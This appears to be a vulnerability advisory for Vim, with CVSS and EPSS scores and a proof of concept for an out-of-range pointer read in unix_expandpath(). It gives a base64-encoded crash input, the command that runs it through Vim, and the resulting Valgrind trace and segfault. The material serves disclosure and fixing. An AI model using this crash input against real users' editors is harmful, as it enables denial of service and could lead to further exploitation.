7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
40.7%
Using out-of-range Pointer Offset occurs in unix_expandpath().
commit : e89bfd212b21c227f026e467f882c62cdd6e642d
$ echo -ne "c2UgbWwgd2ljCnRj+42NjaYq" | base64 -d > poc
# valgrind
$ ~/valgrind/vg-in-place -s ~/vim-debug/src/vim.debug -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
==1432983== Memcheck, a memory error detector
==1432983== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1432983== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyright info
==1432983== Command: /home/alkyne/vim-debug/src/vim.debug -u NONE -i NONE -n -X -Z -e -m -s -S mpoc -c :qa!
==1432983==
==1432983== Invalid read of size 2
==1432983== at 0x1F3D40: unix_expandpath (filepath.c:3629)
==1432983== by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983== by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983== by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983== by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983== by 0x166945: expand_files_and_dirs (cmdexpand.c:2255)
==1432983== by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983== by 0x1637A9: ExpandOne_start (cmdexpand.c:430)
==1432983== by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983== by 0x1D05F7: expand_filename (ex_docmd.c:4984)
==1432983== by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983== by 0x1C84D6: do_cmdline (ex_docmd.c:993)
==1432983== Address 0xba37938 is not stack'd, malloc'd or (recently) free'd
==1432983==
==1432983==
==1432983== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==1432983== at 0x4A5055B: kill (syscall-template.S:78)
==1432983== by 0x293982: may_core_dump (os_unix.c:3508)
==1432983== by 0x293936: mch_exit (os_unix.c:3474)
==1432983== by 0x411D66: getout (main.c:1719)
==1432983== by 0x25691C: preserve_exit (misc1.c:2194)
==1432983== by 0x291D57: deathtrap (os_unix.c:1154)
==1432983== by 0x4A5020F: ??? (in /usr/lib/x86_64-linux-gnu/libc-2.31.so)
==1432983== by 0x1F3D3F: unix_expandpath (filepath.c:3629)
==1432983== by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983== by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983== by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983== by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983==
==1432983== HEAP SUMMARY:
==1432983== in use at exit: 100,893 bytes in 474 blocks
==1432983== total heap usage: 1,031 allocs, 557 frees, 213,517 bytes allocated
==1432983==
==1432983== LEAK SUMMARY:
==1432983== definitely lost: 1,232 bytes in 1 blocks
==1432983== indirectly lost: 0 bytes in 0 blocks
==1432983== possibly lost: 0 bytes in 0 blocks
==1432983== still reachable: 99,661 bytes in 473 blocks
==1432983== suppressed: 0 bytes in 0 blocks
==1432983== Rerun with --leak-check=full to see details of leaked memory
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
==1432983==
==1432983== 1 errors in context 1 of 1:
==1432983== Invalid read of size 2
==1432983== at 0x1F3D40: unix_expandpath (filepath.c:3629)
==1432983== by 0x2972D3: mch_expandpath (os_unix.c:6526)
==1432983== by 0x1F4976: gen_expand_wildcards (filepath.c:3971)
==1432983== by 0x1F3596: expand_wildcards (filepath.c:3122)
==1432983== by 0x1F3520: expand_wildcards_eval (filepath.c:3093)
==1432983== by 0x166945: expand_files_and_dirs (cmdexpand.c:2255)
==1432983== by 0x166C1D: ExpandFromContext (cmdexpand.c:2446)
==1432983== by 0x1637A9: ExpandOne_start (cmdexpand.c:430)
==1432983== by 0x163CCA: ExpandOne (cmdexpand.c:624)
==1432983== by 0x1D05F7: expand_filename (ex_docmd.c:4984)
==1432983== by 0x1CB10B: do_one_cmd (ex_docmd.c:2507)
==1432983== by 0x1C84D6: do_cmdline (ex_docmd.c:993)
==1432983== Address 0xba37938 is not stack'd, malloc'd or (recently) free'd
==1432983==
==1432983== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.001 Low
EPSS
Percentile
40.7%